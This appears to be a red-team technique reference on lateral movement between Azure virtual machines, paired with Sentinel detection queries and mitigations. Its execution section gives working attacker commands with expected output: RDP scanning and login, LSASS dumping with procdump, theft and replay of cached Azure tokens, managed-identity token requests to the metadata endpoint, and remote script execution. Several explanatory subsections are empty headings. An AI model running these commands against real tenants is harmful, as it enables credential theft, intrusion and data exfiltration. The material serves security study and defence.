MCADDF

[LM-REMOTE-007]: Azure VM to VM Lateral Movement

Metadata

Attribute Details
Technique ID LM-REMOTE-007
MITRE ATT&CK v18.1 T1021 - Remote Services
Tactic Lateral Movement
Platforms Entra ID / Azure
Severity High
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions All Azure VM editions (Windows Server 2016-2025, Linux)
Patched In N/A (Technique remains active; mitigations apply)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Azure VM-to-VM lateral movement exploits networking misconfigurations and credential theft within Azure environments. Unlike on-premises networks, Azure uses Network Security Groups (NSGs) as the primary segmentation mechanism. Many organizations deploy VMs with overly permissive NSG rules (e.g., “Allow All” inbound on port 3389 from internal subnets), enabling attackers to hop between VMs using RDP, SSH, or custom tools. Additionally, if an attacker compromises a VM and obtains a Primary Refresh Token (PRT)—a token cached by Entra ID-joined devices—they can escalate to tenant-level access. The combination of weak NSG rules, cached credentials in ~/.azure/ directories, and PRT theft creates a direct path from single VM compromise to domain controller-level access.

Attack Surface:

Business Impact: Enables rapid escalation from single compromised VM to control of Azure subscription. Once an attacker moves between VMs and obtains PRT tokens or managed identity credentials, they can authenticate to Azure Resource Manager, modify infrastructure (add users, create backdoors), exfiltrate data from storage accounts, and establish persistence. Typical impact includes subscription takeover, data theft, and resource destruction.

Technical Context: Azure VM-to-VM lateral movement is fast—attackers can compromise 5-10 VMs in under 1 hour given weak NSG rules. Detection is challenging because all activity uses legitimate Azure protocols and services. The primary detection vector is NSG flow logs showing lateral traffic; however, many organizations do not enable flow logging or do not monitor it actively. Stealth can be achieved by using legitimate cloud credentials, which appear indistinguishable from authorized administrative activity.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS 6.5 Network Security Groups and subnets configuration
DISA STIG SRG-APP-000516 Application Communication Security (Network Isolation)
CISA SCuBA SC.L1-3.3.6 Network Isolation and Segmentation
NIST 800-53 AC-3, AC-4, SI-4 Access Enforcement, Information Flow Enforcement, System Monitoring
GDPR Art. 32 Security of Processing - Network segmentation
DORA Art. 10 Incident Handling and Response (Network-level incidents)
NIS2 Art. 21 Cyber Risk Management - Network monitoring and alerting
ISO 27001 A.13.1.1, A.9.1.2 Network Segmentation, Access Control Policy
ISO 27005 § 4.4.1 Risk Analysis – Network access control failure

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


3. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

# Connect to Azure subscription
Connect-AzAccount

# Enumerate VMs in current subscription
Get-AzVM | Select-Object Name, ResourceGroupName, ProvisioningState, FullyQualifiedDomainName

# Check NSG rules for each VM
$vm = Get-AzVM -Name "TargetVM"
$nsg = Get-AzNetworkSecurityGroup -ResourceGroupName $vm.ResourceGroupName
$nsg | Get-AzNetworkSecurityRuleConfig | Select-Object Name, Protocol, DestinationPortRange, Access, Direction

# Check if VM is Entra ID-joined
Get-AzADDevice -DisplayName "DESKTOP-ABC123" | Select-Object DisplayName, EntraID, ApproximateLastSigninDateTime

# List managed identities assigned to VM
(Get-AzVM -Name "TargetVM" -ResourceGroupName "RG1").Identity | Select-Object Type, PrincipalId

What to Look For:

Version Note: Behavior identical across all Azure subscription types (EA, PAYG, CSP)

Linux/Bash / CLI Reconnaissance

# Login to Azure
az login

# List all VMs in subscription
az vm list --query "[].{Name:name, ResourceGroup:resourceGroup, OSType:storageProfile.osDisk.osType}"

# Enumerate NSG rules for a VM
az network nsg rule list --resource-group "ResourceGroup1" --nsg-name "VM-NSG" --query "[].{Name:name, Protocol:protocol, DestinationPort:destinationPortRange, Access:access, Direction:direction}"

# Check network interfaces for VM
az network nic list --resource-group "ResourceGroup1" --query "[].{Name:name, PrivateIP:ipConfigurations[0].privateIpAddress}"

# List storage accounts accessible from VM (via managed identity)
az storage account list --resource-group "ResourceGroup1" --query "[].{Name:name, AccessTier:accessTier}"

What to Look For:


4. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1: RDP Lateral Movement (Windows VMs)

Supported Versions: All Windows Server editions in Azure

Step 1: Enumerate Network Accessibility

Objective: Determine which VMs are reachable from compromised VM

Command:

# From compromised VM, test RDP connectivity to other VMs
$targetVMs = @("10.0.1.5", "10.0.2.10", "10.0.3.15")

foreach ($ip in $targetVMs) {
    $result = Test-NetConnection -ComputerName $ip -Port 3389 -WarningAction SilentlyContinue
    Write-Host "VM $ip RDP: $($result.TcpTestSucceeded)"
}

# Expected output:
# VM 10.0.1.5 RDP: True
# VM 10.0.2.10 RDP: True
# VM 10.0.3.15 RDP: False

Expected Output:

ComputerName     : 10.0.1.5
RemoteAddress    : 10.0.1.5
RemotePort       : 3389
TcpTestSucceeded : True

ComputerName     : 10.0.2.10
RemoteAddress    : 10.0.2.10
RemotePort       : 3389
TcpTestSucceeded : True

ComputerName     : 10.0.3.15
RemoteAddress    : 10.0.3.15
RemotePort       : 3389
TcpTestSucceeded : False

What This Means:

OpSec & Evasion:

Step 2: Brute Force or Use Obtained Credentials for RDP

Objective: Establish RDP session on target VM using valid credentials

Command:

# Connect to remote VM via RDP using credentials
$credential = Get-Credential
$rdpSession = New-PSSession -ComputerName 10.0.1.5 -Credential $credential

# Enter interactive RDP session
Enter-PSSession $rdpSession

# Or use direct RDP connection with mstsc.exe
mstsc.exe /v:10.0.1.5 /admin /u:contoso\administrator /p:PASSWORD

Expected Output (PSSession):

[10.0.1.5]: PS C:\Users\Administrator\Documents>

Expected Output (RDP):

Remote Desktop Connection established
(GUI window shows remote desktop)

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Repeat for Subsequent VMs

Objective: Chain lateral movement across multiple VMs

Command:

# Extract credentials from target VM and use for next hop
# Dump SAM or LSASS from compromised VM
whoami  # Verify privilege level

# If SYSTEM, can dump LSASS
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Use extracted hash for Pass-the-Hash attack on next VM
# (Requires specific AD setup; alternative: collect plaintext if stored)

# Move to next VM
mstsc.exe /v:10.0.2.10 /u:domain\extracted_user /p:extracted_password

What This Means:


METHOD 2: PRT Token Theft and Abuse (Entra ID-Joined VMs)

Supported Versions: Windows 10+, Server 2019+ with Entra ID join

Step 1: Identify Entra ID-Joined VMs and Extract PRT

Objective: Obtain Primary Refresh Token from compromised Entra ID-joined VM

Command:

# Check if VM is Entra ID-joined
dsregcmd /status
# Look for "AzureADJoined: YES"

# Extract PRT token from system (requires SYSTEM or admin context)
# Using AADInternals or custom tools
$cert = Get-Item "Cert:\CurrentUser\My\*" | Where-Object { $_.Subject -match "PRT" }

# If no direct PRT access, extract cached tokens from ~/.azure directory
Get-ChildItem "$env:USERPROFILE\.azure" -Recurse -File | Select-Object FullName
# Look for: accessTokens.json, graph_token, arm_token files

# Extract and decode token
$token = Get-Content "$env:USERPROFILE\.azure\accessTokens.json" | ConvertFrom-Json
$decodedToken = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($token.accessToken.Split('.')[1] + '=='))
$decodedToken | ConvertFrom-Json  # Displays token claims

Expected Output:

AzureADJoined: YES
EnterpriseJoined: NO
DeviceId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
TenantId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
KeySignTest: PASSED

Token Claims (Decoded):

{
  "aud": "https://management.azure.com",
  "iss": "https://sts.windows.net/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/",
  "iat": 1234567890,
  "nbf": 1234567890,
  "exp": 1234571490,
  "sub": "user@contoso.com",
  "upn": "user@contoso.com",
  "oid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "roles": ["Owner", "Contributor"]
}

What This Means:

OpSec & Evasion:

References & Proofs:

Step 2: Use PRT to Authenticate to Azure Resource Manager

Objective: Access Azure subscription using stolen PRT token

Command:

# Use extracted token to login to Azure
$token = @{
    access_token = "eyJ0eXAi..."  # Token from Step 1
    refresh_token = "0.Axxx..."   # Refresh token from ~/.azure
    token_type = "Bearer"
}

# Connect to Azure using token
Connect-AzAccount -AccessToken $token.access_token -RefreshToken $token.refresh_token -TenantId "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"

# Verify authenticated context
Get-AzContext | Select-Object Account, Subscription, Tenant

# Enumerate accessible resources
Get-AzVM | Select-Object Name, ResourceGroupName
Get-AzStorageAccount | Select-Object StorageAccountName, Location

Expected Output:

Name             : User@contoso.com
Account          : User@contoso.com
SubscriptionName : Production-Subscription
TenantId         : xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

Name       ResourceGroupName ResourceType                    Location
----       ----------------- ----------                        --------
WebServer  Production-RG     Microsoft.Compute/virtualMachines eastus
Database   Production-RG     Microsoft.Compute/virtualMachines eastus

What This Means:

OpSec & Evasion:

Step 3: Lateral Movement to Other Subscriptions or VMs

Objective: Use elevated Azure access to compromise additional infrastructure

Command:

# List all subscriptions accessible to authenticated account
Get-AzSubscription | Select-Object Name, SubscriptionId

# Switch to different subscription
Select-AzSubscription -SubscriptionId "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"

# Enumerate VMs in target subscription
Get-AzVM -ResourceGroupName "Production-RG" | Select-Object Name, ProvisioningState

# Execute command on VM using Entra ID authentication (if VM has AADLoginForWindows extension)
$vm = Get-AzVM -Name "TargetVM" -ResourceGroupName "Production-RG"
Invoke-AzVMRunCommand -ResourceId $vm.Id -CommandId 'RunPowerShellScript' -ScriptPath 'C:\malicious.ps1'

Expected Output:

Name                         SubscriptionName
----                         ----------------
Production-Subscription      Production
Development-Subscription     Development
Shared-Services-Subscription Shared Services

Value
-----
$ProgressPreference = 'SilentlyContinue'; $result = Invoke-Expression 'whoami'; $result
CONTOSO\Administrator

What This Means:


METHOD 3: Managed Identity Abuse (Service-to-Service Movement)

Supported Versions: All Azure VMs with system-assigned managed identity

Step 1: Enumerate Managed Identities

Objective: Identify which managed identities are assigned to VMs and their permissions

Command:

# From compromised VM, check assigned managed identity
$response = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-12-01&resource=https://management.azure.com/" `
    -Headers @{Metadata="true"} -UseBasicParsing

$token = $response.access_token

# Decode token to see identity details
$parts = $token.Split('.')
$payload = $parts[1]
# Add padding if needed
while ($payload.Length % 4) { $payload += '=' }
$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload))
$decoded | ConvertFrom-Json

Expected Output:

{
  "aud": "https://management.azure.com/",
  "iss": "https://sts.windows.net/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/",
  "iat": 1234567890,
  "nbf": 1234567890,
  "exp": 1234571490,
  "appid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "appidacr": "2",
  "identityProvider": "https://sts.windows.net/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/",
  "oid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "sub": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "tid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "uti": "token_identifier",
  "ver": "1.0"
}

What This Means:

OpSec & Evasion:

Step 2: Use Managed Identity Token to Access Resources

Objective: Authenticate to other Azure services using managed identity

Command:

# Use managed identity token for Azure Resource Manager
$mgmtToken = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-12-01&resource=https://management.azure.com/" `
    -Headers @{Metadata="true"} -UseBasicParsing

# Get token for Storage Account
$storageToken = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-12-01&resource=https://storage.azure.com/" `
    -Headers @{Metadata="true"} -UseBasicParsing

# Access storage account using managed identity token
$storageAccountName = "productiondata"
$containerName = "sensitive-data"
$uri = "https://$storageAccountName.blob.core.windows.net/$containerName?restype=container&comp=list"

$response = Invoke-RestMethod -Uri $uri -Headers @{"Authorization"="Bearer $($storageToken.access_token)"} -UseBasicParsing
$response.Blobs.Blob | Select-Object Name, LastModified, Size

Expected Output:

Name                         LastModified            Size
----                         -----------             ----
customer_data.csv            2026-01-09T14:32:00Z    5242880
employee_salaries.xlsx       2026-01-08T10:15:00Z    1048576
database_backup.bak          2026-01-07T22:45:00Z    1073741824

What This Means:

OpSec & Evasion:


5. ATTACK SIMULATION & VERIFICATION

Atomic Red Team

Azure-specific tests (if custom module available)

Simulates PRT token theft and Azure Resource Manager access


- **Cleanup:**
```powershell
Invoke-AtomicTest T1021.001 -TestNumbers 1 -Cleanup

Reference: Atomic Red Team - T1021


6. MICROSOFT SENTINEL DETECTION

Query 1: RDP Lateral Movement Detection

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4624  // Successful logon
| where LogonType == 10  // RDP logon type
| where IpAddress startswith "10." or IpAddress startswith "172.16." or IpAddress startswith "192.168."
| extend SourceVM = extract(@"([A-Z0-9\-]+)", 1, Computer)
| extend TargetVM = extract(@"([A-Z0-9\-]+)", 1, Computer)
| where SourceVM != TargetVM
| summarize LogonCount = count() by TargetComputer = Computer, Account_Name, SourceIpAddress = IpAddress, TimeWindow = bin(TimeGenerated, 5m)
| where LogonCount > 2
| project-reorder TargetComputer, Account_Name, LogonCount, SourceIpAddress

What This Detects:

Manual Configuration Steps:

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics+ CreateScheduled query rule
  3. General Tab:
    • Name: Lateral Movement - RDP Hopping
    • Severity: High
  4. Set rule logic Tab:
    • Paste KQL above
    • Run every: 5 minutes
  5. Incident settings Tab:
    • Enable Create incidents
    • Entity mapping: TargetComputer → Host, Account_Name → Account
  6. Click Create

Query 2: PRT Token Theft Detection

Rule Configuration:

KQL Query:

SigninLogs
| where Status.errorCode == 0  // Successful signin
| where DeviceDetail.operatingSystem has "Windows"
| extend Location = LocationDetails.city
| summarize SigninCount = count(), Locations = make_set(Location) by UserPrincipalName, IPAddress
| where SigninCount > 3
| where Locations !has_all ("Primary Location", "Expected Location")
| project-reorder UserPrincipalName, SigninCount, IPAddress, Locations

What This Detects:


7. WINDOWS EVENT LOG MONITORING

Event ID: 4624 (Successful Logon)

Manual Configuration Steps:

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesAdministrative TemplatesSystemAudit Process Tracking
  3. Enable: Audit Logon/LogoffAudit Logon
  4. Set to: Success
  5. Run gpupdate /force

Event ID: 4688 (Process Creation)


8. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Validation Command (Verify Fix)

# Verify restrictive NSG rules
Get-AzNetworkSecurityGroup -ResourceGroupName "RG1" -Name "Restrictive-NSG" | 
    Get-AzNetworkSecurityRuleConfig | Select-Object Name, Access, Direction, Priority

# Verify Bastion is deployed
Get-AzBastionHost -ResourceGroupName "RG1" | Select-Object Name, ProvisioningState

# Verify managed identity roles are minimal
(Get-AzVM -Name "TargetVM" -ResourceGroupName "RG1").Identity.PrincipalId | 
    Get-AzRoleAssignment | Select-Object RoleDefinitionName, Scope

# Verify RDP is disabled on Windows VMs
Get-NetFirewallRule -DisplayName "*Remote Desktop*" | Select-Object Name, Enabled

Expected Output (If Secure):

Name                  Access Direction Priority
----                  ------ --------- --------
AllowRDPFromBastion   Allow  Inbound   100
DenyAllInbound        Deny   Inbound   4096

RoleDefinitionName    Scope
------------------    -----
Reader                /subscriptions/...
Storage Blob Data Reader /subscriptions/.../storageAccounts/...

Name                           Enabled
----                           -------
Remote Desktop - TCP-In        False
Remote Desktop - UDP-In        False

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-005] AKS Control Plane RCE Attacker exploits misconfigured Kubernetes cluster to gain initial access
2 Credential Access [CA-DUMP-005] Managed Identity Token Theft Extract PRT or managed identity tokens from compromised VM
3 Current Step [LM-REMOTE-007] Lateral movement to other Azure VMs using stolen credentials or NSG misconfiguration
4 Privilege Escalation [PRIV-AZURE-001] Entra ID Role Escalation Use PRT to grant self Owner role in subscription
5 Persistence [PERSIST-AZURE-002] Service Principal Backdoor Create persistent backdoor service principal with Owner rights
6 Impact [IMPACT-CLOUD-001] Data Exfiltration via Storage Exfiltrate sensitive data from storage accounts using managed identity

10. REAL-WORLD EXAMPLES

Example 1: Azure VM Lateral Movement - Carnival Ransomware (2023)

Example 2: Microsoft Exchange Server Zero-Day → Azure Lateral Movement (ProxyLogon, 2021)